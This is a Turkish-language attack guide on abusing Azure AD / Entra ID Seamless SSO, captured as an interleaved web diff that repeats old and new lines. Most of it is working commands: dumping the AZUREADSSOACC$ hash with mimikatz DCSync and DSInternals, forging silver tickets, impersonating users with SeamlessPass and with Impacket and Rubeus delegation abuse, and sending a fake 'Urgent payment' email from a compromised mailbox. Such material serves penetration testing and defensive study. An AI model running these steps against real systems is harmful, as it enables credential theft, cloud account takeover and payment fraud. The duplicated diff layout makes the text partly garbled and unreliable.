Masaüstü SSO, kimlik doğrulama için **Kerberos** kullanmaktadır. Yapılandırıldığında, Azure AD Connect, yerel AD'de **AZUREADSSOACC`$`** adında bir **bilgisayar hesabı** oluşturur. `AZUREADSSOACC$` hesabının şifresi, yapılandırma sırasında **düz metin olarak Azure AD'ye gönderilir**.
|
||||
Masaüstü SSO, kimlik doğrulama için **Kerberos** kullanmaktadır. Yapılandırıldığında, Azure AD Connect, yerel AD'de **`AZUREADSSOACC$`** adında bir **bilgisayar hesabı** oluşturur. `AZUREADSSOACC$` hesabının şifresi, yapılandırma sırasında **düz metin olarak Entra ID'ye** gönderilir.
|
||||
|
||||
**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Azure AD, gönderilen şifreyi biletleri şifrelerini çözmek için kullanır.
|
||||
**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Entra ID, gönderilen şifreyi biletleri şifrelemek için kullanır.
|
||||
|
||||
**Azure AD**, Kerberos **biletlerini** kabul eden bir **uç nokta** (https://autologon.microsoftazuread-sso.com) sunar. Alan bağlı makinenin tarayıcısı, SSO için bu uç noktaya biletleri iletir.
|
||||
**Entra ID**, Kerberos **biletlerini** kabul eden bir **uç nokta** (https://autologon.microsoftazuread-sso.com) sunar. Alan bağlı makinenin tarayıcısı, SSO için bu uç noktaya biletleri iletir.
|
||||
|
||||
### Yerel -> bulut
|
||||
### Sayım
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
Kullanıcının **`AZUREADSSOACC$`** şifresi **asla değişmez**. Bu nedenle, bir alan yöneticisi bu hesabın **hash'ini ele geçirebilir** ve ardından **herhangi bir yerel kullanıcı senkronize edilmiş** olarak Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir:
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Bu saldırı hakkında bilmeniz gereken en önemli şey, Entra ID ile senkronize edilmiş bir kullanıcının TGT'sine veya belirli bir TGS'sine sahip olmanın, bulut kaynaklarına erişmek için yeterli olduğudur.\
|
||||
> Bunun nedeni, kullanıcının buluta giriş yapmasını sağlayan bir bilet olmasıdır.
|
||||
|
||||
O TGS biletini elde etmek için, saldırganın aşağıdakilerden birine sahip olması gerekir:
|
||||
- **Bir tehlikeye atılmış kullanıcının TGS'si:** Eğer bir kullanıcının `HTTP/autologon.microsoftazuread-sso.com` biletine sahip oturumunu bellekte tehlikeye atarsanız, bulut kaynaklarına erişmek için bunu kullanabilirsiniz.
|
||||
- **Bir tehlikeye atılmış kullanıcının TGT'si:** Eğer birine sahip değilseniz ama kullanıcı tehlikeye atıldıysa, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) ve [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) gibi birçok araçta uygulanan sahte TGT delegasyonu hilesini kullanarak bir tane alabilirsiniz.
|
||||
- **Bir tehlikeye atılmış kullanıcının hash'i veya şifresi:** SeamlessPass, bu bilgi ile etki alanı denetleyicisi ile iletişim kurarak TGT'yi ve ardından TGS'yi oluşturacaktır.
|
||||
- **Bir altın bilet:** Eğer KRBTGT anahtarına sahipseniz, saldırıya uğramış kullanıcı için ihtiyaç duyduğunuz TGT'yi oluşturabilirsiniz.
|
||||
- **AZUREADSSOACC$ hesabı hash'i veya şifresi:** Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı yapmak, bir hizmet bileti oluşturmak ve bulut ile kimlik doğrulamak mümkündür (önceki yöntemde gerçekleştirildiği gibi).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
[Bu blog yazısında açıklandığı gibi](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), önceki gereksinimlerden herhangi birine sahip olmak, **SeamlessPass** aracını kullanarak bulut kaynaklarına tehlikeye atılmış kullanıcı olarak veya **`AZUREADSSOACC$`** hesabı hash'i veya şifresi varsa herhangi bir kullanıcı olarak erişmek için çok kolaydır.
|
||||
|
||||
Son olarak, TGT ile [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) aracını kullanmak mümkündür:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Daha fazla bilgi için Firefox'un sorunsuz SSO ile çalışmasını sağlamak üzere [**bu blog yazısında**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) bulunabilir.
|
||||
|
||||
|
||||
### AZUREADSSOACC$ hesabının hash'lerini alma
|
||||
|
||||
Kullanıcı **`AZUREADSSOACC$`**'nın **şifresi** asla **değişmez**. Bu nedenle, bir alan yöneticisi bu **hesabın hash'ini** ele geçirebilir ve ardından **herhangi bir senkronize edilmiş yerel kullanıcıyla** Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +88,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Hash ile artık **gümüş biletler** oluşturabilirsiniz:
|
||||
> [!NOTE]
|
||||
> Mevcut bilgilerle, daha önce belirtildiği gibi, alanınızdaki herhangi bir kullanıcı için azure ve entraid token'larını almak üzere **SeamlessPass** aracını kullanabilirsiniz.
|
||||
> Ayrıca, `AZUREADSSOACC$` hesabı yerine taklit etmek istediğiniz kurbanın şifresinin hash'ini almak için önceki teknikleri (ve diğerlerini) de kullanabilirsiniz.
|
||||
|
||||
#### Silver Biletler Oluşturma
|
||||
|
||||
Hash ile artık **silver biletler** oluşturabilirsiniz:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,52 +109,77 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Silver Ticket'leri Firefox ile Kullanma
|
||||
|
||||
Silver ticket'i kullanmak için aşağıdaki adımlar uygulanmalıdır:
|
||||
|
||||
1. **Tarayıcıyı Başlat:** Mozilla Firefox başlatılmalıdır.
|
||||
2. **Tarayıcıyı Yapılandır:**
|
||||
- **`about:config`** sayfasına gidin.
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) için tercihi belirtilen [değerler](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) ile ayarlayın:
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) için tercihi belirtilen [değere](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) ayarlayın:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefox `Ayarlar` > `Microsoft, iş ve okul hesapları için Windows tek oturum açmayı izin ver` seçeneğini arayın ve etkinleştirin.
|
||||
3. **Web Uygulamasına Erişim:**
|
||||
- Kuruluşun AAD alanı ile entegre bir web uygulamasını ziyaret edin. Yaygın bir örnek [Office 365](https://portal.office.com/)’dir.
|
||||
- Kuruluşun AAD alanı ile entegre bir web uygulamasını ziyaret edin. Yaygın bir örnek [login.microsoftonline.com](https://login.microsoftonline.com/) 'dur.
|
||||
4. **Kimlik Doğrulama Süreci:**
|
||||
- Giriş ekranında, kullanıcı adı girilmeli ve şifre alanı boş bırakılmalıdır.
|
||||
- Devam etmek için TAB veya ENTER tuşuna basın.
|
||||
|
||||
> [!TIP]
|
||||
> Bu, MFA etkinse atlatmaz
|
||||
> [!WARNING]
|
||||
> Bu **MFA'yı atlamaz eğer kullanıcıda etkinse**.
|
||||
|
||||
#### Dcsync olmadan Seçenek 2 - SeamlessPass
|
||||
### On-prem -> Cloud üzerinden Kaynak Tabanlı Kısıtlı Delegasyon <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Bu saldırıyı **dcsync saldırısı olmadan** daha gizli bir şekilde gerçekleştirmek de mümkündür, bu [blog yazısında](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) açıklandığı gibi. Bunun için yalnızca aşağıdakilerden birine ihtiyacınız var:
|
||||
Saldırıyı gerçekleştirmek için gereklidir:
|
||||
|
||||
- **Bir tehlikeye atılmış kullanıcının TGT'si:** Eğer bir tane yoksa ama kullanıcı tehlikeye atıldıysa, birçok araçta uygulanan sahte TGT delegasyonu hilesi kullanılarak bir tane elde edilebilir, örneğin [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) ve [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: Eğer KRBTGT anahtarına sahipseniz, saldırıya uğrayan kullanıcı için gerekli TGT'yi oluşturabilirsiniz.
|
||||
- **Bir tehlikeye atılmış kullanıcının NTLM hash'i veya AES anahtarı:** SeamlessPass, bu bilgi ile etki alanı denetleyicisi ile iletişim kurarak TGT'yi oluşturacaktır.
|
||||
- **AZUREADSSOACC$ hesabının NTLM hash'i veya AES anahtarı:** Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı gerçekleştirmek için bir hizmet bileti oluşturmak ve bulut ile kimlik doğrulamak mümkündür (önceki yöntemde olduğu gibi).
|
||||
- `WriteDACL` / `GenericWrite` üzerinde `AZUREADSSOACC$`
|
||||
- Kontrol ettiğiniz bir bilgisayar hesabı (hash & şifre) - Bir tane oluşturabilirsiniz.
|
||||
|
||||
Son olarak, TGT ile [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) aracını kullanmak mümkündür:
|
||||
1. Adım 1 – Kendi bilgisayar hesabınızı ekleyin
|
||||
- `ATTACKBOX$` oluşturur ve SID/NTLM hash'ini yazdırır. Herhangi bir alan kullanıcısı bunu yapabilirken MachineAccountQuota > 0'dır.
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
2. Adım 2 – `AZUREADSSOACC$` üzerinde RBCD verin - Makinenizin SID'sini `msDS-AllowedToActOnBehalfOfOtherIdentity` içine yazar.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
Daha fazla bilgi için Firefox'un sorunsuz SSO ile çalışmasını sağlamak için [**bu blog yazısında**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) bulunabilir.
|
||||
3. Adım 3 – Herhangi bir kullanıcı için (örneğin alice) bir TGS oluşturun
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
#### ~~Bulut yalnızca kullanıcılar için Kerberos biletleri oluşturma~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
Eğer Active Directory yöneticileri Azure AD Connect'e erişime sahipse, **herhangi bir bulut kullanıcısı için SID ayarlayabilirler**. Bu şekilde Kerberos **biletleri** **bulut yalnızca kullanıcılar için de oluşturulabilir**. Tek gereklilik, SID'nin uygun bir [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) olmasıdır.
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Artık **TGS'yi taklit edilen kullanıcı olarak Azure kaynaklarına erişmek için kullanabilirsiniz.**
|
||||
|
||||
|
||||
### ~~Sadece bulut kullanıcıları için Kerberos biletleri oluşturma~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Eğer Active Directory yöneticileri Azure AD Connect'e erişime sahipse, **herhangi bir bulut kullanıcısı için SID ayarlayabilirler**. Bu şekilde Kerberos **biletleri** **sadece bulut kullanıcıları için de oluşturulabilir**. Tek gereklilik, SID'nin uygun bir [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) olmasıdır.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bulut yalnızca yönetici kullanıcıların SID'sini değiştirmek artık **Microsoft tarafından engellenmiştir**.\
|
||||
> Sadece bulut yöneticisi kullanıcılarının SID'sini değiştirmek artık **Microsoft tarafından engellenmiştir**.\
|
||||
> Bilgi için [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Bulut, Kaynak Tabanlı Kısıtlı Delegasyon ile <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Bu hesabın bulunduğu konteyner veya OU'daki bilgisayar hesaplarını yönetebilen herkes, **hesap üzerinde kaynak tabanlı kısıtlı delegasyonu yapılandırabilir ve ona erişebilir**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
|
||||
Reference in New Issue
Block a user